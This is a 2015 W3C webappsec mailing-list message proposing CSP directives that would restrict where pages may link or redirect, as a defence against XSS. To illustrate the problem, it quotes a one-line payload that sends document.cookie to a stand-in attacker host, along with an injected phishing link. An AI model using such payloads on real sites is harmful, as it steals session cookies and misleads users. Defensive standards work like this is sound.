- From: David Mulder <david.mulder@ymail.com>
- Date: Mon, 27 Apr 2015 23:57:00 +0200
- To: public-webappsec@w3.org
- Message-ID: <CAOAJK9hx1uPcK4kC6vpqBi5+s_k3oxSj-1-Dq42ikd8Dpy0hLw@mail.gmail.com>
Given that an attacker has found a way to execute Javascript through an XSS injection `connect-src` could be a valuable tool to prevent data from being leaked. The problem however is that it is not possible to prevent page navigation like for example *location.href = "http://evildomain.com <http://evildomain.com>?"+document.cookie;* It would be incredibly valuable if a website owner could limit to which pages his pages are allowed to link or direct in any way. This would also be valuable to prevent phishing through XSS injection where one would inject a stylized link trying to lure the user to a different domain along the lines of for example *<a href="http://evildomain.com/fakeLoginForm.html <http://evildomain.com/fakeLoginForm.html>" style="background:red;">Click here to authorize your account against hackers</a>* And lastly it would make CSP an *incredibly* valuable tool for sandboxing as well. Say one is running a webmail service this would allow arbitrary script execution without the risk of data being leaked unexpectedly or the user being unexpectedly redirected. --- What I am proposing is a directive that limits any and all linking *link-src: my-safe-domain.com <http://my-safe-domain.com>* And separately a directive that limits all script based redirection attempts (which would need to for example also include dispatching a click event on `<a>`-tags) *script-link-src: my-safe-domain.com <http://my-safe-domain.com>* The reason two different directives would be required is that during sandboxing (e.g. a webmail client) one may allow links to any domains, yet wish to prevent the browser from automatically redirecting to *evildomain.com <http://evildomain.com>*. I am inclined to say that any `link-src` directives would need to be enforced for `script-link-src` as well, as I can not think of any situation where a script would be allowed to link to a domain where an anchor tag may not and it would prevent stupid mistakes where enforcement of `script-link-src` is forgotten. --- I have searched through the archives whether such a directive has been proposed in the past and I was not able to find anything and really hope you guys can see the value of such a directive. Greetings, David Mulder
Received on Tuesday, 28 April 2015 08:24:35 UTC